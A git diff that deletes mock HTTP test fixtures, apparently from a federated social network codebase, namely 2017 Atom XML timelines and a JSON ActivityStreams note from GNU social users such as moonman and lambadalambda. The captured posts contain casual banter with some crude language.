something2017-05-03T17:28:20.9679262017-05-03T17:28:20.967935http://activitystrea.ms/schema/1.0/notetag:mastodon.social,2017-05-03:objectId=4952899:objectType=Statushttps://pleroma.soykaf.com/contexts/42701ab4-964a-441a-a372-f51bd183e441 \ No newline at end of file diff --git a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml b/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml deleted file mode 100644 index 26fdebb49..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml +++ /dev/null @@ -1,54 +0,0 @@ - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:51:48+00:00 - 2017-05-05T08:51:48+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/1 - moonman - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - - - - - moonman - Generic Enemy - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - The Moon - - - homepage - https://shitposter.club/moonman - true - - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26 - - - - - https://shitposter.club/api/statuses/user_timeline/1.atom - Generic Enemy - - - - https://shitposter.club/avatar/1-96-20170503024316.jpeg - 2017-05-05T11:43:58+00:00 - - - - - diff --git a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml b/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml deleted file mode 100644 index 31df7c2a6..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml +++ /dev/null @@ -1,454 +0,0 @@ - - - GNU social - https://shitposter.club/api/statuses/user_timeline/1.atom - moonman timeline - Updates from moonman on Shitposter Club! - https://shitposter.club/avatar/1-96-20170503024316.jpeg - 2017-05-05T13:24:09+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/1 - moonman - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - - - - - moonman - Generic Enemy - EMAIL:shitposterclub@gmail.com XMPP: moon@talk.shitposter.club Matrix Ed25519 fingerprint: 2HuDUTEz3iFN5N3xl6PYp9xZW/EWhgbbt78SrFy4w8o - - The Moon - - - homepage - https://shitposter.club/moonman - true - - - - - - - - - - - - - - tag:shitposter.club,2017-05-05:subscription:1:person:23190:2017-05-05T11:43:58+00:00 - Generic Enemy (moonman)'s status on Friday, 05-May-2017 11:43:58 UTC - <a href="https://shitposter.club/moonman">Generic Enemy</a> started following <a href="https://noagendasocial.com/@Ma5on">Mason</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T11:43:58+00:00 - 2017-05-05T11:43:58+00:00 - - http://activitystrea.ms/schema/1.0/person - https://noagendasocial.com/users/Ma5on - Mason - - - - - - ma5on - Mason - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=abffa9c14a054d3b - - - - - - - tag:shitposter.club,2017-05-05:subscription:1:person:14357:2017-05-05T10:29:03+00:00 - Generic Enemy (moonman)'s status on Friday, 05-May-2017 10:29:03 UTC - <a href="https://shitposter.club/moonman">Generic Enemy</a> started following <a href="https://mastodon.cloud/@ohyran">Jens Reuterberg</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T10:29:03+00:00 - 2017-05-05T10:29:03+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.cloud/users/ohyran - Jens Reuterberg - RPG-nerd, illustrator, Open Source enthusiast, KDE dude, designer and gay lefty. Might be a cliché - but we will soon find out! - - - - - - ohyran - Jens Reuterberg - RPG-nerd, illustrator, Open Source enthusiast, KDE dude, designer and gay lefty. Might be a cliché - but we will soon find out! - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=937151d4825a85bf - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828637:objectType=note - New note by moonman - basicall i would just rather have ppl say &quot;i like x and y&quot; than &quot;i'm a nerd&quot; the term can be retired. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:24:54+00:00 - 2017-05-05T10:24:54+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=65992b0b9b5e6931 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828579:objectType=comment - New comment by moonman - @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> to be honest i've turned right around and been cruel to other people, i said i'd never do it but it happens again eventually. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:20:33+00:00 - 2017-05-05T10:20:33+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=c997fc73d7f8a8f0 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828554:objectType=comment - New comment by moonman - @<a href="https://mastodon.cloud/users/ohyran" class="h-card mention" title="Jens Reuterberg">ohyran</a> i won't ever get over bullying but i agree otherwise. i don't go to comic shops too often these days but i got dragged to one last year and the sheer diversity of people enjoying comics now compared to years ago was striking and it pleased me. and i noticed a couple years ago because of youtube i find things i truly enjoy watching, like in-depth videos about electronic parts, didn't exist 20 years ago. it's pretty great. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:18:10+00:00 - 2017-05-05T10:18:10+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828502:2017-05-05T10:12:52+00:00 - Favorite - moonman favorited something by ohyran: <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> fair enough - that distinction makes it clearer...</p><p>On the other hand - those of us who did "pay the price" of being nerdy little kids in the 80's and 90's should strive to get past it anyway (mental health wise not "just get over it") and see the "nerd culture" thing as a blessing of sorts. We are in the optimal spot to do it. (not saying that that is something easy btw just that NOW is the best of time to start talking about it)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T10:12:52+00:00 - 2017-05-05T10:12:52+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.cloud,2017-05-05:objectId=6334570:objectType=Status - New comment by ohyran - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> fair enough - that distinction makes it clearer...</p><p>On the other hand - those of us who did "pay the price" of being nerdy little kids in the 80's and 90's should strive to get past it anyway (mental health wise not "just get over it") and see the "nerd culture" thing as a blessing of sorts. We are in the optimal spot to do it. (not saying that that is something easy btw just that NOW is the best of time to start talking about it)</p> - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828496:objectType=note - New note by moonman - things are better now, a lot less kids in america get beaten up and called a fag. still too many. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:11:31+00:00 - 2017-05-05T10:11:31+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=c997fc73d7f8a8f0 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828457:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/21787" class="h-card mention" title="Yukari">cutscenes</a> @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> i never understood this because nerds had pocket protectors, which was a draftsman engineer thing and therefore smart, while geeks were people in carnivals who bit heads off small animals. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:07:57+00:00 - 2017-05-05T10:07:57+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828435:objectType=comment - New comment by moonman - @<a href="https://mastodon.cloud/users/ohyran" class="h-card mention" title="Jens Reuterberg">ohyran</a> since i didn't specify i'm talking about people subjected to physical and psychological abuse and not people that are just mad that more people like comic books now. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:05:07+00:00 - 2017-05-05T10:05:07+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828326:objectType=note - New note by moonman - if you were a &quot;nerd&quot; before, like, 2001 you have permanent excuse to hate this kind of shit.   <a href="https://shitposter.club/file/b79fa5644be0d6f22679136e67b7bf45c9c4a74a55c32dd2d0cf15de4ddd5be5.gif" title="https://shitposter.club/file/b79fa5644be0d6f22679136e67b7bf45c9c4a74a55c32dd2d0cf15de4ddd5be5.gif" class="attachment" id="attachment-662105" rel="nofollow external">https://shitposter.club/attachment/662105</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:47:42+00:00 - 2017-05-05T09:47:42+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=efae3a23b6e05767 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828250:objectType=note - New note by moonman - <a href="https://shitposter.club/file/1283e2d4dd8f96b8eeb5d9a16b318e210868aa11386cf0d593891e4c75c9126e.gif" title="https://shitposter.club/file/1283e2d4dd8f96b8eeb5d9a16b318e210868aa11386cf0d593891e4c75c9126e.gif" class="attachment" id="attachment-662098" rel="nofollow external">https://shitposter.club/attachment/662098</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:39:06+00:00 - 2017-05-05T09:39:06+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=ea8ffae90546f0ab - - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828161:2017-05-05T09:28:19+00:00 - Favorite - moonman favorited something by kro: @<a href="https://shitposter.club/user/1" class="h-card u-url p-nickname mention" title="Generic Enemy">moonman</a> Till Brooklyn? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:28:19+00:00 - 2017-05-05T09:28:19+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:gs.smuglo.li,2017-05-05:noticeId=2188587:objectType=comment - New comment by kro - @<a href="https://shitposter.club/user/1" class="h-card u-url p-nickname mention" title="Generic Enemy">moonman</a> Till Brooklyn? - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d7aa6b5b057ca555 - - - - - - - tag:shitposter.club,2017-05-05:fave:1:comment:2828125:2017-05-05T09:24:56+00:00 - Favorite - moonman favorited something by hardbass2k8: this has obviously interesting implications in various places, for example:<br /> the nationalism of the nazis might not have been real, who would have thought?<br /> socialism is usually promoted to implementation by real douchebags!<br /> your local social justice people might want diversity but they don't want you, m/19, white, why?<br /> amateur soccer club, they want to be the best in the amateur league but actually they just get drunk after training and are 50% overweight.<br /> This is because humans are not capable of telepathy, so if you join a group it doesn't magically align every little bit of your being with the declared group goals.<br /> <br /> Even though you see unmanned group beliefs flying around from time to time, generally groups are created from a bunch of people. they are not a container for people, they are the people inside them.<br /> <br /> so if you see a group that appears to be cool don't think of it as cool because its goals are cool but because its members are cool. if they aren't, tough cookies. don't be the retard and end up on the camp watchtower. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:24:56+00:00 - 2017-05-05T09:24:56+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828125:objectType=comment - New comment by hardbass2k8 - this has obviously interesting implications in various places, for example:<br /> the nationalism of the nazis might not have been real, who would have thought?<br /> socialism is usually promoted to implementation by real douchebags!<br /> your local social justice people might want diversity but they don't want you, m/19, white, why?<br /> amateur soccer club, they want to be the best in the amateur league but actually they just get drunk after training and are 50% overweight.<br /> This is because humans are not capable of telepathy, so if you join a group it doesn't magically align every little bit of your being with the declared group goals.<br /> <br /> Even though you see unmanned group beliefs flying around from time to time, generally groups are created from a bunch of people. they are not a container for people, they are the people inside them.<br /> <br /> so if you see a group that appears to be cool don't think of it as cool because its goals are cool but because its members are cool. if they aren't, tough cookies. don't be the retard and end up on the camp watchtower. - - - - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=51b227fe92f6babf - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828128:objectType=note - New note by moonman - In a valid remake of They live, signs would say REBEL, and DON'T GET MARRIED AND HAVE KIDS - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:24:23+00:00 - 2017-05-05T09:24:23+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=b74397fa766b82c9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828104:objectType=note - New note by moonman - <a href="https://shitposter.club/file/4d34178bde99599f31a28928e1666fbd58448d8a22e94ed82222496e4a45cb07.gif" title="https://shitposter.club/file/4d34178bde99599f31a28928e1666fbd58448d8a22e94ed82222496e4a45cb07.gif" class="attachment" id="attachment-662049" rel="nofollow external">https://shitposter.club/attachment/662049</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:21:01+00:00 - 2017-05-05T09:21:01+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d7aa6b5b057ca555 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828102:objectType=note - New note by moonman - when ppl find out i haven't always been serious  <a href="https://shitposter.club/file/5859fa95875342cc65dba0d852f726db158ce28198c326d5f13d9de7c0d2c449.gif" title="https://shitposter.club/file/5859fa95875342cc65dba0d852f726db158ce28198c326d5f13d9de7c0d2c449.gif" class="attachment" id="attachment-662053" rel="nofollow external">https://shitposter.club/attachment/662053</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:20:45+00:00 - 2017-05-05T09:20:45+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=0a025ac5a570b4ec - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828086:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> @<a href="https://gs.smuglo.li/user/35497" class="h-card mention" title="Bokuro Bokusawa">boco</a> you are being too serious lol - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:17:19+00:00 - 2017-05-05T09:17:19+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26 - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828085:objectType=note - New note by moonman - shitposter dot club  <a href="https://shitposter.club/file/9b084c7210b16abbf4d28594b924a07ef4a2a06f89d901a4c42fb1e243291263.gif" title="https://shitposter.club/file/9b084c7210b16abbf4d28594b924a07ef4a2a06f89d901a4c42fb1e243291263.gif" class="attachment" id="attachment-662047" rel="nofollow external">https://shitposter.club/attachment/662047</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:16:50+00:00 - 2017-05-05T09:16:50+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=d1ae088a1b91e5e5 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2828061:objectType=note - New note by moonman - even when i lie i tell the truth, is that so hard to understand? - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:15:07+00:00 - 2017-05-05T09:15:07+00:00 - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=a516e4b8506b8ef5 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2828052:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9591" class="h-card mention" title="warum hei&#xDF;en deutschl&#xE4;nder deutschl&#xE4;nder">hardbass2k8</a> history, anthropology. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T09:14:22+00:00 - 2017-05-05T09:14:22+00:00 - - - - tag:shitposter.club,2017-05-05:objectType=thread:nonce=fe4d7f35b13403ba - - - - - - - diff --git a/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json b/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json deleted file mode 100644 index 4b7b4df44..000000000 --- a/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json +++ /dev/null @@ -1 +0,0 @@ -{"@context":["https://www.w3.org/ns/activitystreams","https://shitposter.club/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://shitposter.club/users/moonman","attachment":[],"attributedTo":"https://shitposter.club/users/moonman","cc":["https://shitposter.club/users/moonman/followers"],"content":"@neimzr4luzerz @dolus childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English","context":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","conversation":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","id":"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment","inReplyTo":"tag:shitposter.club,2017-05-05:noticeId=2827849:objectType=comment","inReplyToStatusId":2827849,"published":"2017-05-05T08:51:48Z","sensitive":false,"summary":null,"tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Note"} \ No newline at end of file diff --git a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml b/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml deleted file mode 100644 index 6cba5c28f..000000000 --- a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml +++ /dev/null @@ -1,591 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T12:01:21+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2063249:2017-05-05T11:40:21+00:00 - Favorite - lambadalambda favorited something by tatiana: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> they will start complaining about this, but won't come up with any solutions)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:40:21+00:00 - 2017-05-05T11:40:21+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.weho.st,2017-05-05:objectId=172033:objectType=Status - New comment by tatiana - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> they will start complaining about this, but won't come up with any solutions)</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2063041:2017-05-05T11:27:28+00:00 - Favorite - lambadalambda favorited something by kat: @<a href="https://social.heldscal.la/lambadalambda" class="h-card mention" title="Constance Variable">lambadalambda</a> if the admin reading mine would delete a few it would be really useful in prioritising.  - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:27:28+00:00 - 2017-05-05T11:27:28+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:quitter.se,2017-05-05:noticeId=11807959:objectType=comment - New comment by kat - @<a href="https://social.heldscal.la/lambadalambda" class="h-card mention" title="Constance Variable">lambadalambda</a> if the admin reading mine would delete a few it would be really useful in prioritising.  - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:noticeId=2062924:objectType=note - lambadalambda repeated a notice by nielsk - RT @nielsk @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> but there are soooo many, where should I start to read? - - http://activitystrea.ms/schema/1.0/share - 2017-05-05T11:09:37+00:00 - 2017-05-05T11:09:37+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T11:05:18+00:00 - 2017-05-05T11:05:18+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/nielsk - nielsk - Sysadmin by day and ehm… sysadmin by night. Besides that old video games, Japan, economics and some other stuff - - - - - - nielsk - nielsk - Sysadmin by day and ehm… sysadmin by night. Besides that old video games, Japan, economics and some other stuff - - - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - New comment by nielsk - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - https://mastodon.social/users/nielsk.atom - nielsk - - - https://social.heldscal.la/avatar/29849-96-20170428120041.jpeg - 2017-05-05T11:06:32+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2062875:2017-05-05T11:09:27+00:00 - Favorite - lambadalambda favorited something by nielsk: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:09:27+00:00 - 2017-05-05T11:09:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - New comment by nielsk - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2062863:2017-05-05T11:09:11+00:00 - Favorite - lambadalambda favorited something by kasil: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> surely, google is not that evil !</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:09:11+00:00 - 2017-05-05T11:09:11+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:loutre.info,2017-05-05:objectId=23331:objectType=Status - New comment by kasil - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> surely, google is not that evil !</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062767:objectType=comment - New comment by lambadalambda - @<a href="https://sealion.club/user/4" class="h-card u-url p-nickname mention" title="dewoo &#x274E;">dwmatiz</a> dunno, probably. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:55:17+00:00 - 2017-05-05T10:55:17+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062705:objectType=comment - New comment by lambadalambda - @<a href="https://gs.smuglo.li/user/28250" class="h-card u-url p-nickname mention" title="Bricky">thatbrickster</a> I do it, too. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:48:12+00:00 - 2017-05-05T10:48:12+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062620:objectType=comment - New comment by lambadalambda - @<a href="https://social.tchncs.de/users/israuor" class="h-card u-url p-nickname mention" title="Israuor &#x2642;">israuor</a> @<a href="https://mastodon.gougere.fr/users/bortzmeyer" class="h-card u-url p-nickname mention" title="S. Bortzmeyer &#x2705;">bortzmeyer</a> so, 99%. 100% for 'normal' people. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:38:52+00:00 - 2017-05-05T10:38:52+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2062583:objectType=note - New note by lambadalambda - I wonder what'll happen when people realize the admin at their mail hoster can read all their e-mails. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:35:45+00:00 - 2017-05-05T10:35:45+00:00 - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:subscription:23211:person:35708:2017-05-05T09:34:46+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Friday, 05-May-2017 09:34:46 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> started following <a href="https://mastodon.social/@milouse">milouse</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T09:34:46+00:00 - 2017-05-05T09:34:46+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/milouse - milouse - #Scout leader #sgdf, interested in #openweb, #semanticweb, #privacy, #foss and #socialeconomy. 0xA714ECAC8C9CEE3D - - - - - - milouse - milouse - #Scout leader #sgdf, interested in #openweb, #semanticweb, #privacy, #foss and #socialeconomy. 0xA714ECAC8C9CEE3D - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=26ca19a355bb6135 - - - - - - - tag:social.heldscal.la,2017-05-05:noticeId=2061871:objectType=note - lambadalambda repeated a notice by safebot - RT @<a href="https://gs.smuglo.li/user/25857" class="h-card u-url p-nickname mention" title="safebot">safebot</a> #<span class="tag"><a href="https://social.heldscal.la/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/attachment/456444" title="https://gs.smuglo.li/attachment/456444" rel="nofollow external noreferrer" class="attachment" id="attachment-432334">https://gs.smuglo.li/attachment/456444</a> - - http://activitystrea.ms/schema/1.0/share - 2017-05-05T09:16:17+00:00 - 2017-05-05T09:16:17+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.smuglo.li,2017-05-05:noticeId=2188073:objectType=note - - #<span class="tag"><a href="https://gs.smuglo.li/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" title="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/456444</a> - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:36:53+00:00 - 2017-05-05T08:36:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/25857 - safebot - - - - - - safebot - safebot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-05-05:noticeId=2188073:objectType=note - New note by safebot - #<span class="tag"><a href="https://gs.smuglo.li/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" title="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/456444</a> - - - - - https://gs.smuglo.li/conversation/1009429 - - - - https://gs.smuglo.li/api/statuses/user_timeline/25857.atom - safebot - - - https://social.heldscal.la/avatar/25719-original-20161215233234.jpeg - 2017-05-05T12:00:57+00:00 - - - - https://gs.smuglo.li/conversation/1009429 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - 